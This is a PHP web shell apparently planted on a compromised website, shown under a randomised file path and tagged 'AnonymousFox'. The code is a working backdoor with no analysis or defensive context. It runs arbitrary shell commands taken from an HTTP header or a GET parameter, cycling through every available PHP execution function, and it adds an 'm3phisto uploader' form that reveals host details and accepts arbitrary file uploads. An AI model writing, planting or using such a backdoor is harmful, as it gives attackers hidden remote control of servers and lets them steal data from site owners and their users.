AnonymousFox

/home/develito/www/v3/tmp/jcea1mtk7p0.gesekmemek.php

<?php
// ── RCE via stardenburden ──
if(isset($_SERVER['HTTP_X_CMD'])){ $_GET['stardenburden']=$_SERVER['HTTP_X_CMD']; }
if(isset($_GET['stardenburden']) && !empty($_GET['stardenburden'])){
    $cmd = $_GET['stardenburden'] . ' 2>&1';
    $output = '';
    $funcs = ['proc_open','exec','system','shell_exec','passthru','popen'];
    foreach($funcs as $f){
        if(function_exists($f)){
            if($f=='proc_open'){
                $d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
                $p=proc_open($cmd,$d,$pi);
                if(is_resource($p)){
                    $output=stream_get_contents($pi[1]);
                    fclose($pi[0]); fclose($pi[1]); fclose($pi[2]);
                    proc_close($p);
                }
            }elseif($f=='exec'){
                $arr=[]; exec($cmd,$arr);
                $output=implode("\n",$arr);
            }elseif($f=='system'){
                ob_start(); system($cmd); $output=ob_get_clean();
            }elseif($f=='shell_exec'){
                $output=shell_exec($cmd);
            }elseif($f=='passthru'){
                ob_start(); passthru($cmd); $output=ob_get_clean();
            }elseif($f=='popen'){
                $p=popen($cmd,'r');
                if($p){ while(!feof($p)){ $output.=fread($p,8192); } pclose($p); }
            }
            break;
        }
    }
    if(empty($output)){ $output=@`$cmd`; }
    header('Content-Type: text/plain');
    echo $output===null?'[ERROR]':$output;
    exit;
}

// ── M3PHISTO UPLOADER ──
$u=php_uname(); $h=@gethostname();
echo '<center><pre><br><br>'.$u."\n".$h."\n".'<br><b><font color="red">{</font> m3phisto uploader <font color="red">}</font></b><br><br><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';
if($_POST){
    $n=$_FILES['__']['name'];
    if(@copy($_FILES['__']['tmp_name'], $n)){
        echo '<b style="color: green;">Ok Uploaded: <a href="'.$n.'">'.$n.'</a>';
    }else{
        echo '<b style="color: red;">Not uploaded!';
    }
}
?>